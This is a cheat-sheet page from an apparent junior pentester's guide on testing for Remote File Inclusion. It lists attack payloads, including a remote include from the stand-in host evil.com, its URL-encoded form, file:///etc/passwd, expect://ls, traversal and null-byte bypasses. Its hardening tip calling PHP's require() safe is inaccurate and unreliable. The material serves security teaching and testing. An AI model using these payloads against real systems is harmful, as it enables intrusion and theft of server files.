> For the complete documentation index, see [llms.txt](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://d3ndr1t30x.gitbook.io/breaking-things-a-junior-pentesters-guide/vulnerabilities/remote-file-inclusion.md).

# Remote File Inclusion

Remote File Inclusion (RFI) is a security vulnerability that occurs when an application or website allows an attacker to include an external file, typically a malicious one, in a page or script that's being executed on the server. This can lead to serious security issues, such as unauthorized access, data leakage, or code execution on the server. To test for RFI, you typically look for ways to inject malicious files from remote locations into the application or server.

Here's a cheat sheet for testing for RFI:

1. **Check User Input**: Look for user inputs, like URLs, parameters, or file paths, that are directly or indirectly used to include external files.
2. **Common Payloads**:
   * `http://evil.com/malicious-file`
   * `file:///etc/passwd`
   * `php://input`
   * `expect://ls`
3. **Web Application Scanner**: Use a web application scanner like OWASP ZAP, Burp Suite, or Nikto to identify RFI vulnerabilities automatically.
4. **Manual Testing**:
   * Modify parameters with RFI payloads.
   * Examine the response for any signs of file inclusion, such as content from external sources.
   * Observe error messages or system behavior changes.
5. **Directory Traversal**: Try to traverse directories by manipulating the path in the input. E.g., `../../../../../etc/passwd`.
6. **Brute Force**: Brute force filenames and paths to find vulnerable file inclusion points.
7. **Encoded URLs**: Use URL encoding to obfuscate payloads. E.g., `%68%74%74%70%3a%2f%2f%65%76%69%6c%2e%63%6f%6d%2f%6d%61%6c%69%63%69%6f%75%73%2d%66%69%6c%65`.
8. **Null Byte Injection**: Append `%00` to the end of the URL to null-terminate the string and bypass some security checks.
9. **Use Special Protocols**: Test using different protocols like `http://`, `https://`, `file://`, `php://`, `data://`, `expect://`, etc.
10. **Check for Firewall or WAF**: Be aware that some Web Application Firewalls (WAFs) or security mechanisms might detect and block RFI attacks.
11. **Exploit**: If RFI is successful, try to exploit it further by executing commands on the server.
12. **File Validation**: Check if the application enforces validation for file inclusions and try to bypass it.
13. **Review Source Code**: If you have access to the source code, review it for any file inclusion functions or constructs that might be vulnerable.
14. **Access Logs**: Check access logs for unusual or unexpected file requests.
15. **Server Logs**: Review server logs for any signs of unauthorized access or file inclusions.
16. **Hardening Recommendations**: Implement recommended security hardening measures like input validation, proper configuration, and using safe functions for file inclusion (e.g., `require()` in PHP).